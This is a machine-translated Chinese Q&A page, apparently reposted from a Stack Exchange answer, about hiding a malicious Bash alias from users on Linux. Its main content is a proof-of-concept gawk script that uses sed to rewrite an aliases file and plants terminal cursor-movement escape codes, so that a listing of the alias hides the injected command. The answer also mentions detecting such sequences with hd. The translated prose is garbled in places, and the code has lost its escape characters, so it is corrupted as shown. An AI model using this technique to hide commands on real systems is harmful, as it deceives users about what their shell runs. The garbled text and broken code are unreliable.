是否有可能在Linux上的Bash中隐藏恶意别名?
|
是否有可能在 Linux系统上隐藏Bash中恶意别名的存在并让用户在他们不知情的情况下执行它? 解决方法可以通过将现有别名附加到恶意别名上并使用光标移动来隐藏它,如果alias命令用于显示别名定义.这不是一个完全万无一失的方法,但它可能会在一段时间内未被发现.通过hd管道别名将显示别名中是否有任何转义序列(光标移动).以下是如何将恶意命令插入别名的概念证明:alias | gawk 'BEGIN {
FS = "[ = 47]"
db = ""; sp = db " "; amp = db "&"
sq= " 47"; bell = " 07"; esc = " 33"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq,"","g",substr($0,match($0,"=") + 1))
orig = gensub(" ",db sp,orig)
}
END {
hide = "$" db sq sp "--" sp db "r" esc "[J" esc "[A" db "t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
> sed命令修改一个名为“别名”的文件 – 这种类型的真实脚本将用于喉咙并修改一个真实的脚本文件,以便恶意别名在下次执行时被激活. (编辑:安卓应用网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
